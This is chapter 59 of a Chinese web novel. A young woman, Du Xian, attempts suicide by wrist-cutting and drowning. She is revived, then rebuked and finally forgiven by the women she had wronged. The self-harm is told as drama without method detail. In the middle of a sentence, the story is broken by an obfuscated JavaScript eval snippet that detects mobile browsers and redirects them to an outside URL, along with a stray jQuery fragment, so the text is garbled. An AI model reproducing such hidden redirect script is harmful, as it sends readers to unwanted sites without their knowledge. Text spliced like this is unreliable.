59.第59章
作品:《她在国子监混得风生水起》 顺着舜华楼往西走,有条揽月河。陶霁几人跟着看热闹的行人赶到河边时,恰好看见落水之人被会凫水的妇人拖去乌篷船上,瑶光郡的民风虽说也开放,但落水之人是女子,此刻衣裳尽湿,勾勒出窈窕身形来,妇人顾不得别的,赶忙向船夫要了张粗布薄毯紧紧拢在她的身上。
有乌篷船的船身做遮挡,站在岸边,只能隐隐看见半片打湿的衣角。
“姑娘,醒醒,姑娘!”妇人呼喊的声音传到岸上来,四周的行人不免悬起一颗心来,只怕这位姑娘香消玉殒。
身后奋力挤进一道身影,宝珠半边身子都趴去了护栏外张望,在看见那片衣角后,神情倏地变得急切。陶霁一惊,思绪在须臾间百转千回,登时反应过来落水之人可能是杜娴。
见宝珠作势要往河里跳,她飞快伸手掐住宝珠的肩膀,厉声喝止:“你是不要命了么!”
宝珠匆忙回头看一眼,认出几人后,再顾不得旁人会非议什么,跪在陶霁脚边,双手用力攥紧她身上的衣裙,喊道:“是你!姑娘,能不能想想法子救救我家姑娘,我家姑娘还如此年轻,她不能死啊!”
四周看热闹的行人连忙去看陶霁几人,有人认出庄之茉与傅书芩,惊呼:“这不是前日上公堂的二位姑娘么?这婢子好像也在......”
说罢,又去看那条乌篷船:“那这跳河的,莫非是杜娴?”
说话间,乌篷船已靠岸,宝珠见状连忙踉跄着跑过去,与那妇人一起将不省人事的杜娴抬到岸上来。岸边有成套的桌椅摆着,是方便有些行人走累了,坐在此处稍作休息所用。
有个好心的中年男子连忙喊着‘非礼勿视’,转而将桌椅让出来,妇人赶紧托着杜娴的身子平稳放下。
杜娴本就因为被王氏刻意克扣饭食而面色苍白,如今浑身湿透,朱唇褪去颜色,水珠更是将她浑身裹挟得近乎透明。更醒目的是她腕间的那道刺眼伤痕,如钝刀割肉般,还称得上细嫩的皮肉向外翻着,显然是在跳河前就受过一次伤。
瞥见那道割痕,陶霁瞳孔猛地一缩,下意识握紧了拳头。
“姑娘!姑娘快醒醒,奴婢去找了大夫过来,你不能死,姑娘......”宝珠泪眼婆娑地扑在杜娴身上,大力晃着她渐渐冰凉的身体,仿佛这样便能将杜娴唤醒。
先前跟着宝珠的大夫终于挤了进来,岂料他只是探了几息脉搏,又掀开杜娴的眼皮观察半晌,就吐出了‘节哀’二字。
宝珠如遭雷击般怔在原地。
大夫解释道:“她落水的时辰太久,早已无力回天了。”
人群里,纪珈芙也不可置信地看着杜娴,她到底是没忍住,匆匆丢下一句‘不管了’,继而推开人群,动作飞快地搭上杜娴的脉搏,凝神屏息着。
众人显然以为亦是同样的结果,岂料纪珈芙忽然手指一动,窥探到了一丝微弱的跳动,她睁大眼睛,喊道:“还有得救!都让开,别挤在这里!”
快速让出一片空地后,纪珈芙在身侧那位大夫的医箱一阵翻找,终于找出三寸针,摸索到穴位后,果断精准刺下,她紧紧盯着杜娴的脸,察觉到细微变化后,连忙拔高声音:“陶陶,她胸腔和腹中积水太多,你有没有什么法子能逼出来?”
闻言,陶霁敛起神色,明眸锐利扫向桌下长凳,她三两下将长凳砸开,捡起凳脚就往杜娴身边走,答道:“我只能一试。”
下一刻,就见陶霁将杜娴拽起,转而绕向她身后,双手握紧凳脚压在杜娴腹部,接着用力又快速地往自己身前挤压。
众人看热闹的心都悬到了嗓子眼,一时之间,四周静寂得出奇,就在众人以为杜娴已彻底救不回来的时候,杜娴陡然从咽喉呕出几滩水,紧接着大口喘气,片刻后又两眼一闭晕了过去。
纪珈芙再次探上她腕间,惊喜道:“活过来了!”
大夫也连忙上前把脉,探到那道微弱的脉搏后,他匪夷所思地开口:“这真是鬼门关走了一遭,二位姑娘实在令老夫佩服!”
说罢,他转身掏出纸笔写下一张药方交给宝珠,叮嘱道:“你现在即刻去抓药,她手上那道伤口是外伤,好治,可溺水令她大伤元气,需得日日煎药调理。”
宝珠一怔,看向陶霁。
陶霁淡声开口:“既然救了她,我就不会让她再死一次。”
得了答复,宝珠这才匆匆往最近的药铺赶去。
庄之茉与傅书芩站在一旁,神情亦是惊诧,显然是没想到不过才短短一日,杜娴怎地就想不开自尽了。
大夫又在杜娴身上施针稳住她的气息,约莫半刻钟的时间,宝珠抱着药材去而复返。
看热闹的行人见势态稳住,人也救了回来,欢呼几声后便陆陆续续离去。从宝珠嘴里问出她们主仆二人如今的住处后,陶霁几人便索性将杜娴送了回去。
二人住的是间不大的宅子,离揽月河不算远,将杜娴身上那些湿漉漉的衣裳换下后,宝珠这才擦干眼泪从寝屋走了出来。
她又要下跪,被庄之茉冷声打断。
“行了,别跪来跪去的,这到底是怎么回事?”
宝珠面上有些疲惫,接二连三的打击让她亦有些吃不消,她仍强撑着,道:“王家霸占了我家姑娘的钗环首饰,这些都被王氏藏在妆台下的暗格里,王家的确不住柳枝巷,那瓦舍是租的,为了方便王治行事。”
“王家在城西有宅子,所幸刘大人知晓这些钗环是属于我家姑娘的,没将这些抄了去,姑娘拿着钗环去当铺抵了共四百两银,三百两已送去衙门,余下的钱买了眼前这间宅子,奴婢想着,这样也好,以后和姑娘过普通百姓的生活,也能活命。”
宝珠说到后面又落下泪来:“可姑娘自知犯下不可饶恕的罪孽,又见路人对她指指点点,一时想不开,竟趁婢子出门买菜,用刀子割开手腕,幸好婢子半路折回来,恰好撞见,这才没人姑娘彻底划开手腕。”
她深吸一口气:“可姑娘一心求死,我带着大夫回来时,姑娘就已经不在此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137358|162058||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处了,听见揽月河那边喊有人跳河,婢子这才和大夫匆匆赶去。”
“婢子和姑娘从小一块儿长大,知晓姑娘是什么性子,她愧对老爷和大奶奶,愧对杜家,”宝珠颓然瘫坐在台阶上:“自从王家出现在姑娘身边,姑娘就没有过一日安生日子,若是姑娘这回没救过来,婢子就是拼了这条命,也要王家血债血偿!”
寝屋内忽然响起阵阵虚弱的咳嗽声,宝珠连忙起身进去,陶霁几人对视片刻,到底还是跟在宝珠身后走了进去。
杜娴看向几人,尤其在庄之茉与傅书芩身上停留许久,下一刻,她开口,气若游丝:“对不住,我欠你们一条命,我只能以死抵债......”
庄之茉面上瞧不出是什么情绪,傅书芩亦是将头撇向一边。
见二人这般,陶霁心道今日若没将杜娴救回来,杜娴的死会成为这二人心中的一根刺,无论过去多久都不会再拔出来。
想了想,陶霁还是垂下眼眸,平静开口:“娴娘子,你以身做饵,引我的同伴上钩,事情败露......”
“你真的觉得,你就不需要付出代价了么?”少女的声音很轻,却如顽石般重重砸在杜娴胸口:“我的同伴还好好站在你面前,是因为她们命不该绝,你有没有想过,若王治得逞,她们屈辱赴死,你几句对不住,就能偿还这两条人命么?”
陶霁往前走了一步,站在杜娴身侧,漆黑幽瞳静静凝视着她:“你早该以死谢罪,可我的同伴愿意放过你,不是因为别的,只因同为女子,你亦是这场闹剧里的受害者。”
她几乎有些刻薄地逼问:“你如今一心寻死,前日在公堂之上,她们又何苦将你救下,你对得起谁?”
杜娴被说得哑口无言,张了张唇,到底是沉默下来。
陶霁又问:“分明是你犯下错事,为何行事还要如此逼人?”
床沿边上,宝珠亦是懂陶霁说的这番话没错,只能挪动自己的身子,遮挡在杜娴身前,好替她承受几人的怒火。
陶霁讥诮一笑:“你的婢女倒是忠心,娴娘子自尽之前,可有想过她?”
说罢,陶霁目光在主仆二人身上停留一瞬,当即转身出了屋子。纪珈芙见状,也匆匆看了杜娴一眼,跟着陶霁一起出去。
只剩庄之茉二人还站在床边,寝屋里还充斥着一股河水的潮湿腥气,杜娴手腕那道伤口触目惊心,傅书芩不忍去看,庄之茉不知胸腔为何憋闷得如此难受,她抬眼打量面前的简陋寝屋,到底是迈开脚步往外走。
行至门口时,庄之茉面无表情回过头来,道:“杜娴,你今日已死过一回,欠我的债已还清。”
说罢,只留杜娴与宝珠愣神待在屋内。屋外传来院门被关紧的声音,良久,外面都没有再传出声响,杜娴强撑着攥紧被褥一角,身子还隐隐发颤,庄之茉方才说的最后一句话响彻在耳边,如惊雷般将她炸醒,令她生出无限悔意与羞愧来。
她说——
别总想着死,好好活着。